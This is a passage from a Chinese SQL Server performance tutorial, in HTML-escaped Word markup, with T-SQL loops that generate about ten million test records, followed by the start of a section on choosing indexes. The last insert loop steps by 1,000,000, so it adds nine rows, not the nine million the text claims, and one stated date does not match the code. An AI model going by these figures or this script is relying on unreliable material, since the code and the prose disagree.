&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;--&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;需要浏览的用户。每个用户中间用分隔符“&lt;SPAN&gt;,&lt;/SPAN&gt;”分开&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;下面，我们来往数据库中添加&lt;SPAN&gt;1000&lt;/SPAN&gt;万条数据：&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;declare @i int&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;set @i=1&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;while @i&amp;lt;=250000&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;begin&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;insert into Tgongwen(fariqi,neibuyonghu,reader,title) values('2004-2-5','&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;通信科&lt;SPAN&gt;','&lt;/SPAN&gt;通信科&lt;SPAN&gt;,&lt;/SPAN&gt;办公室&lt;SPAN&gt;,&lt;/SPAN&gt;王局长&lt;SPAN&gt;,&lt;/SPAN&gt;刘局长&lt;SPAN&gt;,&lt;/SPAN&gt;张局长&lt;SPAN&gt;,admin,&lt;/SPAN&gt;刑侦支队&lt;SPAN&gt;,&lt;/SPAN&gt;特勤支队&lt;SPAN&gt;,&lt;/SPAN&gt;交巡警支队&lt;SPAN&gt;,&lt;/SPAN&gt;经侦支队&lt;SPAN&gt;,&lt;/SPAN&gt;户政科&lt;SPAN&gt;,&lt;/SPAN&gt;治安支队&lt;SPAN&gt;,&lt;/SPAN&gt;外事科&lt;SPAN&gt;','&lt;/SPAN&gt;这是最先的&lt;SPAN&gt;25&lt;/SPAN&gt;万条记录&lt;SPAN&gt;')&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;set @i=@i+1&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;end&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;declare @i int&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;set @i=1&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;while @i&amp;lt;=250000&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;begin&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;insert into Tgongwen(fariqi,neibuyonghu,reader,title) values('2004-9-16','&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;办公室&lt;SPAN&gt;','&lt;/SPAN&gt;办公室&lt;SPAN&gt;,&lt;/SPAN&gt;通信科&lt;SPAN&gt;,&lt;/SPAN&gt;王局长&lt;SPAN&gt;,&lt;/SPAN&gt;刘局长&lt;SPAN&gt;,&lt;/SPAN&gt;张局长&lt;SPAN&gt;,admin,&lt;/SPAN&gt;刑侦支队&lt;SPAN&gt;,&lt;/SPAN&gt;特勤支队&lt;SPAN&gt;,&lt;/SPAN&gt;交巡警支队&lt;SPAN&gt;,&lt;/SPAN&gt;经侦支队&lt;SPAN&gt;,&lt;/SPAN&gt;户政科&lt;SPAN&gt;,&lt;/SPAN&gt;外事科&lt;SPAN&gt;','&lt;/SPAN&gt;这是中间的&lt;SPAN&gt;25&lt;/SPAN&gt;万条记录&lt;SPAN&gt;')&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;set @i=@i+1&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;end&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;declare @h int&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;set @h=1&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;while @h&amp;lt;=100&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;begin&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 28pt; mso-char-indent-count: 2.0"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;declare @i int&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 28pt; mso-char-indent-count: 2.0"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;set @i=2002&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 28pt; mso-char-indent-count: 2.0"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;while @i&amp;lt;=2003&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 28pt; mso-char-indent-count: 2.0"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;begin&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 56pt; mso-char-indent-count: 4.0"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;declare @j int&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;set @j=0&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;while @j&amp;lt;50&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;begin&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 84pt; mso-char-indent-count: 6.0"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;declare @k int&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/SPAN&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;set @k=0&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/SPAN&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;while @k&amp;lt;50&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;begin&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;insert into Tgongwen(fariqi,neibuyonghu,reader,title) values(cast(@i as varchar(4))+'-8-15 3:'+cast(@j as varchar(2))+':'+cast(@j as varchar(2)),'&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;通信科&lt;SPAN&gt;','&lt;/SPAN&gt;办公室&lt;SPAN&gt;,&lt;/SPAN&gt;通信科&lt;SPAN&gt;,&lt;/SPAN&gt;王局长&lt;SPAN&gt;,&lt;/SPAN&gt;刘局长&lt;SPAN&gt;,&lt;/SPAN&gt;张局长&lt;SPAN&gt;,admin,&lt;/SPAN&gt;刑侦支队&lt;SPAN&gt;,&lt;/SPAN&gt;特勤支队&lt;SPAN&gt;,&lt;/SPAN&gt;交巡警支队&lt;SPAN&gt;,&lt;/SPAN&gt;经侦支队&lt;SPAN&gt;,&lt;/SPAN&gt;户政科&lt;SPAN&gt;,&lt;/SPAN&gt;外事科&lt;SPAN&gt;','&lt;/SPAN&gt;这是最后的&lt;SPAN&gt;50&lt;/SPAN&gt;万条记录&lt;SPAN&gt;')&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;set @k=@k+1&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;end&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 56pt; mso-char-indent-count: 4.0"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;set @j=@j+1&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;end&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 28pt; mso-char-indent-count: 2.0"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;set @i=@i+1&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 28pt; mso-char-indent-count: 2.0"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;end&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;set @h=@h+1&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;end&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;declare @i int&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;set @i=1&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;while @i&amp;lt;=9000000&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;begin&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;insert into Tgongwen(fariqi,neibuyonghu,reader,title) values('2004-5-5','&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;通信科&lt;SPAN&gt;','&lt;/SPAN&gt;通信科&lt;SPAN&gt;,&lt;/SPAN&gt;办公室&lt;SPAN&gt;,&lt;/SPAN&gt;王局长&lt;SPAN&gt;,&lt;/SPAN&gt;刘局长&lt;SPAN&gt;,&lt;/SPAN&gt;张局长&lt;SPAN&gt;,admin,&lt;/SPAN&gt;刑侦支队&lt;SPAN&gt;,&lt;/SPAN&gt;特勤支队&lt;SPAN&gt;,&lt;/SPAN&gt;交巡警支队&lt;SPAN&gt;,&lt;/SPAN&gt;经侦支队&lt;SPAN&gt;,&lt;/SPAN&gt;户政科&lt;SPAN&gt;,&lt;/SPAN&gt;治安支队&lt;SPAN&gt;,&lt;/SPAN&gt;外事科&lt;SPAN&gt;','&lt;/SPAN&gt;这是最后添加的&lt;SPAN&gt;900&lt;/SPAN&gt;万条记录&lt;SPAN&gt;')&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;set @i=@i+1000000&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;end&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid windowtext .75pt"&gt;
&lt;P class=MsoNormal style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN: 0cm 0cm 0pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: medium none; mso-border-bottom-alt: solid windowtext .75pt; mso-padding-alt: 0cm 0cm 1.0pt 0cm"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/DIV&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt; mso-char-indent-count: 2.0"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;通过以上语句，我们创建了&lt;SPAN&gt;25&lt;/SPAN&gt;万条由通信科于&lt;SPAN&gt;2004&lt;/SPAN&gt;年&lt;SPAN&gt;2&lt;/SPAN&gt;月&lt;SPAN&gt;5&lt;/SPAN&gt;日发布的记录，&lt;SPAN&gt;25&lt;/SPAN&gt;万条由办公室于&lt;SPAN&gt;2004&lt;/SPAN&gt;年&lt;SPAN&gt;9&lt;/SPAN&gt;月&lt;SPAN&gt;6&lt;/SPAN&gt;日发布的记录，&lt;SPAN&gt;2002&lt;/SPAN&gt;年和&lt;SPAN&gt;2003&lt;/SPAN&gt;年各&lt;SPAN&gt;100&lt;/SPAN&gt;个&lt;SPAN&gt;2500&lt;/SPAN&gt;条相同日期、不同分秒的由通信科发布的记录（共&lt;SPAN&gt;50&lt;/SPAN&gt;万条），还有由通信科于&lt;SPAN&gt;2004&lt;/SPAN&gt;年&lt;SPAN&gt;5&lt;/SPAN&gt;月&lt;SPAN&gt;5&lt;/SPAN&gt;日发布的&lt;SPAN&gt;900&lt;/SPAN&gt;万条记录，合计&lt;SPAN&gt;1000&lt;/SPAN&gt;万条。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt; mso-char-indent-count: 2.0"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 黑体"&gt;一、因情制宜，建立“适当”的索引&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;建立“适当”的索引是实现查询优化的首要前提。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;索引（&lt;SPAN&gt;index&lt;/SPAN&gt;）是除表之外另一重要的、用户定义的存储在物理介质上的数据结构。当根据索引码的值搜索数据时，索引提供了对数据的快速访问。事实上，没有索引&lt;SPAN&gt;,&lt;/SPAN&gt;数据库也能根据&lt;SPAN&gt;SELECT&lt;/SPAN&gt;语句成功地检索到结果，但随着表变得越来越大，使用“适当”的索引的效果就越来越明显。注意，在这句话中，我们用了“适当”这个词，这是因为，如果使用索引时不认真考虑其实现过程，索引既可以提高也会破坏数据库的工作性能。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;（一）深入浅出理解索引结构&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
